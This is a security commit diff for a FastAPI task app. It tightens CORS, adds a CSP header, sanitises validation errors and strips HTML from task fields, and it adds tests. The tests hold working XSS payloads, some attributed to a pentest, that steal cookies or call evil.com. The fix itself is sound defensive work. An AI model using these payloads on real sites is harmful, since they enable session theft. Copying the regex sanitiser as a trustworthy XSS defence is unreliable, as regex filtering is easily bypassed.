security: fix CORS wildcard, stored XSS, CSP header, and validation error disclosure

.gitignore

@@ -50,3 +50,6 @@ history/
 
 # Docker
 docker-compose.yml
+
+# Git worktrees
+.worktrees/

backend/app/core/config.py

@@ -30,6 +30,27 @@ def cookie_secure(self) -> bool:
     AUTO_APPROVED_EMAIL_DOMAINS: list[str] = Field(default_factory=list)
     # APP_URL should point to the frontend entry so redirect URIs resolve correctly
     APP_URL: str = "http://localhost:5173"
+    # ALLOWED_ORIGINS controls the CORS allowlist. Defaults to APP_URL so a
+    # single-origin deploy works out of the box. Override with a
+    # comma-separated list (e.g. "https://app.example.com,https://www.example.com")
+    # when the frontend is served from a different origin than APP_URL.
+    # Never set this to "*" in production — that combined with
+    # allow_credentials=True allows any site to make authenticated requests.
+    ALLOWED_ORIGINS: list[str] | str | None = None
+
+    @property
+    def cors_origins(self) -> list[str]:
+        """Return the resolved CORS origin allowlist."""
+        if isinstance(self.ALLOWED_ORIGINS, list) and self.ALLOWED_ORIGINS:
+            origins = self.ALLOWED_ORIGINS
+        elif isinstance(self.ALLOWED_ORIGINS, str) and self.ALLOWED_ORIGINS.strip():
+            origins = [o.strip() for o in self.ALLOWED_ORIGINS.split(",") if o.strip()]
+        else:
+            origins = []
+        # Always include APP_URL so single-origin deploys need no extra config
+        if self.APP_URL not in origins:
+            origins = [self.APP_URL] + origins
+        return origins
     OIDC_ENABLED: bool = False
     OIDC_ISSUER: str | None = None
     OIDC_CLIENT_ID: str | None = None

backend/app/main.py

@@ -6,9 +6,10 @@
 from typing import Annotated
 
 from fastapi import Depends, FastAPI, HTTPException, Request, status
+from fastapi.exceptions import RequestValidationError
 from fastapi.middleware.cors import CORSMiddleware
 from fastapi.openapi.utils import get_openapi
-from fastapi.responses import FileResponse
+from fastapi.responses import FileResponse, JSONResponse
 from slowapi import _rate_limit_exceeded_handler
 from slowapi.errors import RateLimitExceeded
 
@@ -52,12 +53,59 @@
 
 app.add_middleware(
     CORSMiddleware,
-    allow_origins=["*"],  # Update with frontend URL(s) in production
+    allow_origins=settings.cors_origins,
     allow_credentials=True,
-    allow_methods=["*"],
-    allow_headers=["*"],
+    allow_methods=["GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"],
+    allow_headers=["Content-Type", "Authorization", "X-Guild-ID"],
 )
 
+
+@app.middleware("http")
+async def add_security_headers(request: Request, call_next):
+    """Add security headers to every response."""
+    response = await call_next(request)
+    response.headers["Content-Security-Policy"] = (
+        "default-src 'self'; "
+        "script-src 'self'; "
+        "style-src 'self' 'unsafe-inline'; "
+        "connect-src 'self'; "
+        "font-src 'self' https://fonts.gstatic.com https://fonts.googleapis.com; "
+        "img-src 'self' data: blob:; "
+        "frame-ancestors 'none'"
+    )
+    return response
+
+
+@app.exception_handler(RequestValidationError)
+async def validation_exception_handler(request: Request, exc: RequestValidationError):
+    """Sanitise validation errors before returning them to clients.
+
+    FastAPI's default handler echoes the raw ``input`` value that triggered
+    each error back in the response body, which leaks user-supplied data and
+    exposes the internal Pydantic field structure.  We preserve the error
+    messages (including application-level codes such as
+    ``PROPERTY_OPTIONS_REQUIRED`` that callers legitimately depend on) but
+    strip the ``input`` and ``url`` keys from every entry.
+    """
+    def _clean(err: dict) -> dict:
+        cleaned: dict = {}
+        for k, v in err.items():
+            if k in ("input", "url"):
+                continue
+            # Pydantic v2 puts the raw exception object in ctx["error"], which
+            # is not JSON-serialisable.  Stringify any exception values.
+            if k == "ctx" and isinstance(v, dict):
+                cleaned[k] = {
+                    ck: str(cv) if isinstance(cv, Exception) else cv
+                    for ck, cv in v.items()
+                }
+            else:
+                cleaned[k] = v
+        return cleaned
+
+    sanitized = [_clean(err) for err in exc.errors()]
+    return JSONResponse(status_code=422, content={"detail": sanitized})
+
 @app.get("/uploads/{filename:path}", include_in_schema=False)
 @limiter.limit("600/minute")
 async def serve_upload_file(

backend/app/schemas/task.py

@@ -1,3 +1,4 @@
+import re
 from datetime import datetime
 from typing import List, Literal, Optional
 
@@ -106,10 +107,78 @@ def validate_combinations(self) -> "TaskRecurrence":
         return self
 
 
+_HTML_TAG_RE = re.compile(r"<[^>]+>", re.DOTALL)
+# Event handler attributes e.g. onerror=, onclick=, onmouseover= …
+_EVENT_HANDLER_RE = re.compile(
+    r'\bon\w+\s*=\s*(?:"[^"]*"|\'[^\']*\'|[^\s>]*)', re.IGNORECASE
+)
+# javascript: and data: URI schemes inside attribute values
+_DANGEROUS_URI_RE = re.compile(
+    r'(?:javascript|data|vbscript)\s*:', re.IGNORECASE
+)
+
+
+def _strip_html(value: str) -> str:
+    """Remove all HTML tags from a plain-text field (e.g. task title)."""
+    return _HTML_TAG_RE.sub("", value).strip()
+
+
+def _sanitize_html(value: str) -> str:
+    """Strip dangerous HTML from a rich-text field (e.g. task description).
+
+    Removes:
+    - All inline event handlers (onerror=, onclick=, …)
+    - javascript: / data: / vbscript: URI schemes
+    - <script>, <iframe>, <object>, <embed>, <form>, <input> tags entirely
+    Leaves safe structural/formatting tags intact so markdown-rendered
+    content round-trips correctly.
+    """
+    # Strip dangerous elements including everything between their open/close tags.
+    # Must handle both self-closing and paired tags, e.g.:
+    #   <script>alert(1)</script>  → stripped entirely (tags + content)
+    #   <input type="hidden">      → stripped (self-closing / void)
+    _dangerous_names = (
+        r"script|iframe|object|embed|form|input|base|link|meta|style"
+    )
+    # Paired tags: strip open tag, content, and close tag together
+    paired = re.compile(
+        rf"<\s*({_dangerous_names})(?:\s[^>]*)?>.*?</\s*\1\s*>",
+        re.IGNORECASE | re.DOTALL,
+    )
+    value = paired.sub("", value)
+    # Remaining unpaired / self-closing open tags (e.g. <input ...>)
+    unpaired = re.compile(
+        rf"<\s*/?\s*(?:{_dangerous_names})(?:\s[^>]*)?>",
+        re.IGNORECASE | re.DOTALL,
+    )
+    value = unpaired.sub("", value)
+    # Strip event handler attributes from remaining tags
+    value = _EVENT_HANDLER_RE.sub("", value)
+    # Strip dangerous URI schemes
+    value = _DANGEROUS_URI_RE.sub("blocked:", value)
+    return value.strip()
+
+
 class TaskBase(BaseModel):
     title: str
     description: Optional[str] = None
     priority: TaskPriority = TaskPriority.medium
+
+    @field_validator("title", mode="before")
+    @classmethod
+    def sanitize_title(cls, v: object) -> object:
+        """Task titles are plain text — strip all HTML tags."""
+        if isinstance(v, str):
+            return _strip_html(v)
+        return v
+
+    @field_validator("description", mode="before")
+    @classmethod
+    def sanitize_description(cls, v: object) -> object:
+        """Strip dangerous HTML from task descriptions."""
+        if isinstance(v, str):
+            return _sanitize_html(v)
+        return v
     start_date: Optional[datetime] = None
     due_date: Optional[datetime] = None
     recurrence: Optional[TaskRecurrence] = None
@@ -126,6 +195,20 @@ class TaskUpdate(BaseModel):
     title: Optional[str] = None
     description: Optional[str] = None
     task_status_id: Optional[int] = None
+
+    @field_validator("title", mode="before")
+    @classmethod
+    def sanitize_title(cls, v: object) -> object:
+        if isinstance(v, str):
+            return _strip_html(v)
+        return v
+
+    @field_validator("description", mode="before")
+    @classmethod
+    def sanitize_description(cls, v: object) -> object:
+        if isinstance(v, str):
+            return _sanitize_html(v)
+        return v
     priority: Optional[TaskPriority] = None
     assignee_ids: Optional[List[int]] = None
     start_date: Optional[datetime] = None

backend/app/schemas/task_sanitization_test.py

@@ -0,0 +1,164 @@
+"""Tests for XSS sanitisation on task title and description fields.
+
+Findings addressed:
+  CRIT-002 – Stored XSS + DoS via task title/description
+  (pentest 2026-05-07, initiative-dev.morels.me)
+"""
+
+from app.schemas.task import TaskBase, TaskUpdate
+
+
+# ---------------------------------------------------------------------------
+# Title sanitisation – plain text only, all HTML stripped
+# ---------------------------------------------------------------------------
+
+
+def test_title_plain_text_unchanged():
+    t = TaskBase(title="Fix login bug")
+    assert t.title == "Fix login bug"
+
+
+def test_title_img_onerror_stripped():
+    """The exact payload used in the pentest."""
+    payload = "<img src=x onerror=window.__xss=document.cookie>"
+    t = TaskBase(title=payload)
+    assert "<img" not in t.title
+    assert "onerror" not in t.title
+
+
+def test_title_script_tag_stripped():
+    t = TaskBase(title="<script>alert(1)</script>hello")
+    assert "<script>" not in t.title
+    assert "hello" in t.title
+
+
+def test_title_anchor_tag_stripped():
+    t = TaskBase(title='<a href="javascript:alert(1)">click</a>')
+    assert "<a" not in t.title
+    assert "click" in t.title
+
+
+def test_title_nested_html_stripped():
+    t = TaskBase(title="<b><i>bold italic</i></b>")
+    assert "<b>" not in t.title
+    assert "bold italic" in t.title
+
+
+def test_title_html_only_becomes_empty_string():
+    # A title that is ONLY HTML tags reduces to "" after stripping.
+    # Pydantic allows empty strings unless min_length is set;
+    # the sanitiser should not crash on degenerate input.
+    t = TaskBase(title="<b></b>")
+    assert t.title == ""
+
+
+def test_task_update_title_sanitized():
+    u = TaskUpdate(title="<img src=x onerror=alert(1)> urgent fix")
+    assert "<img" not in u.title
+    assert "urgent fix" in u.title
+
+
+# ---------------------------------------------------------------------------
+# Description sanitisation – dangerous tags/attrs stripped, safe content kept
+# ---------------------------------------------------------------------------
+
+
+def test_description_none_unchanged():
+    t = TaskBase(title="Task", description=None)
+    assert t.description is None
+
+
+def test_description_plain_text_unchanged():
+    t = TaskBase(title="Task", description="Steps to reproduce")
+    assert t.description == "Steps to reproduce"
+
+
+def test_description_script_tag_stripped():
+    """Exact pentest payload."""
+    payload = '"><script>window.__desc_xss=1</script><b onmouseover=window.__x=1>hover</b>'
+    t = TaskBase(title="Task", description=payload)
+    assert "<script>" not in t.description
+    assert "window.__desc_xss" not in t.description
+
+
+def test_description_event_handlers_stripped():
+    t = TaskBase(
+        title="Task",
+        description='<b onmouseover="alert(1)">text</b>',
+    )
+    assert "onmouseover" not in t.description
+    assert "text" in t.description
+
+
+def test_description_javascript_uri_blocked():
+    t = TaskBase(
+        title="Task",
+        description='<a href="javascript:alert(1)">link</a>',
+    )
+    assert "javascript:" not in t.description
+
+
+def test_description_iframe_stripped():
+    t = TaskBase(
+        title="Task",
+        description='<iframe src="https://evil.com"></iframe>',
+    )
+    assert "<iframe" not in t.description
+
+
+def test_description_onerror_attribute_stripped():
+    t = TaskBase(
+        title="Task",
+        description='<img src=x onerror=fetch("//evil.com")>',
+    )
+    assert "onerror" not in t.description
+
+
+def test_task_update_description_sanitized():
+    u = TaskUpdate(description="<script>steal(document.cookie)</script>notes")
+    assert "<script>" not in u.description
+    assert "notes" in u.description
+
+
+# ---------------------------------------------------------------------------
+# CORS config – settings.cors_origins returns correct allowlist
+# ---------------------------------------------------------------------------
+
+
+def test_cors_defaults_to_app_url():
+    from app.core.config import Settings
+
+    s = Settings(
+        SECRET_KEY="x",
+        DATABASE_URL_APP="postgresql+asyncpg://a:b@localhost/c",
+        DATABASE_URL_ADMIN="postgresql+asyncpg://a:b@localhost/c",
+        APP_URL="https://app.example.com",
+    )
+    assert "https://app.example.com" in s.cors_origins
+
+
+def test_cors_allowed_origins_string_parsed():
+    from app.core.config import Settings
+
+    s = Settings(
+        SECRET_KEY="x",
+        DATABASE_URL_APP="postgresql+asyncpg://a:b@localhost/c",
+        DATABASE_URL_ADMIN="postgresql+asyncpg://a:b@localhost/c",
+        APP_URL="https://app.example.com",
+        ALLOWED_ORIGINS="https://www.example.com,https://staging.example.com",
+    )
+    origins = s.cors_origins
+    assert "https://app.example.com" in origins
+    assert "https://www.example.com" in origins
+    assert "https://staging.example.com" in origins
+
+
+def test_cors_wildcard_not_in_default_origins():
+    from app.core.config import Settings
+
+    s = Settings(
+        SECRET_KEY="x",
+        DATABASE_URL_APP="postgresql+asyncpg://a:b@localhost/c",
+        DATABASE_URL_ADMIN="postgresql+asyncpg://a:b@localhost/c",
+    )
+    assert "*" not in s.cors_origins